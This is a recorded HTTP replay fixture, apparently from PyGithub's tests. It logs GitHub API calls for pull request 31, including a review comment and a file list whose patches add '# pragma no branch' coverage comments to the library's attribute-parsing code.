b.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-09-06T12:41:05Z","pushed_at":"2013-09-06T12:41:05Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":820,"watchers_count":256,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":76,"mirror_url":null,"open_issues_count":15,"forks":76,"open_issues":15,"watchers":256,"master_branch":"master","default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31"},"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31/comments"},"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31/comments"}},"merged":true,"mergeable":false,"mergeable_state":"dirty","merged_by":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments":1,"review_comments":1,"commits":3,"additions":511,"deletions":384,"changed_files":45} https GET api.github.com None /repos/jacquev6/PyGithub/pulls/comments/1580134 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4875'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '677bae62-e9e4-4420-a6f7-5572ecd844c9'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '2269'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:31 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/1580134","id":1580134,"body":"Review comment created for PyGithub","diff_hunk":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @todo No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch","path":"codegen/templates/GithubObject.py","position":5,"original_position":5,"commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2012-09-11T20:06:32Z","updated_at":"2012-09-11T20:06:32Z","html_url":"https://github.com/jacquev6/PyGithub/pull/31#discussion_r1580134","pull_request_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31","_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/1580134"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#discussion_r1580134"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} https GET api.github.com None /repos/jacquev6/PyGithub/pulls/31/files {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4874'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '2e2d4c57-e963-4381-985e-9c6ca34a5692'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '175951'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:32 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] [{"sha":"fb4855905c4825612bdd2db42346833c203e77c8","filename":"codegen/templates/GithubObject.py","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/codegen/templates/GithubObject.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @todo No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch\n \n {% if attribute.type.cardinality == \"scalar\" %}\n {% if attribute.type.simple %}"},{"sha":"502f657077e67378a09cd923d8b7629a81469d81","filename":"src/github/AuthenticatedUser.py","status":"modified","additions":25,"deletions":25,"changes":50,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/AuthenticatedUser.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -568,78 +568,78 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", \"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"2c2e7ad5c7d5f5f6bbb16bc4149cc2388b870d63","filename":"src/github/Authorization.py","status":"modified","additions":9,"deletions":9,"changes":18,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Authorization.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -117,21 +117,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"app\", \"created_at\", \"id\", \"note\", \"note_url\", \"scopes\", \"token\", \"updated_at\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"app\" in attributes and attributes[ \"app\" ] is not None:\n+ if \"app\" in attributes and attributes[ \"app\" ] is not None: # pragma no branch\n self.__app = attributes[ \"app\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"note\" in attributes and attributes[ \"note\" ] is not None:\n+ if \"note\" in attributes and attributes[ \"note\" ] is not None: # pragma no branch\n self.__note = attributes[ \"note\" ]\n- if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None:\n+ if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None: # pragma no branch\n self.__note_url = attributes[ \"note_url\" ]\n- if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None:\n+ if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None: # pragma no branch\n self.__scopes = attributes[ \"scopes\" ]\n- if \"token\" in attributes and attributes[ \"token\" ] is not None:\n+ if \"token\" in attributes and attributes[ \"token\" ] is not None: # pragma no branch\n self.__token = attributes[ \"token\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]"},{"sha":"96ae96478e61087c378e8f5caaf8064ba3b5d9ff","filename":"src/github/Branch.py","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Branch.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -28,9 +28,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]"},{"sha":"bef139283f26710febfd03d3cce3a9193dbbde22","filename":"src/github/Commit.py","status":"modified","additions":8,"deletions":8,"changes":16,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Commit.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -120,33 +120,33 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"commit\", \"committer\", \"files\", \"parents\", \"sha\", \"stats\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = NamedUser.NamedUser( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = GitCommit.GitCommit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = NamedUser.NamedUser( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"files\" ], list ) and ( len( attributes[ \"files\" ] ) == 0 or isinstance( attributes[ \"files\" ][ 0 ], dict ) )\n self.__files = [\n CommitFile.CommitFile( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"files\" ]\n ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n Commit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"stats\" in attributes and attributes[ \"stats\" ] is not None:\n+ if \"stats\" in attributes and attributes[ \"stats\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"stats\" ], dict )\n self.__stats = CommitStats.CommitStats( self.__requester, attributes[ \"stats\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"6e95e0bac8d227daedbcff076a182a762f4e7229","filename":"src/github/CommitComment.py","status":"modified","additions":11,"deletions":11,"changes":22,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/CommitComment.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -121,36 +121,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"line\" ], int )\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"position\" ], int )\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )"},{"sha":"27185b984a57346b0ef4f591b08f9398b1d1cb83","filename":"src/github/CommitFile.py","status":"modified","additions":9,"deletions":9,"changes":18,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/CommitFile.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # 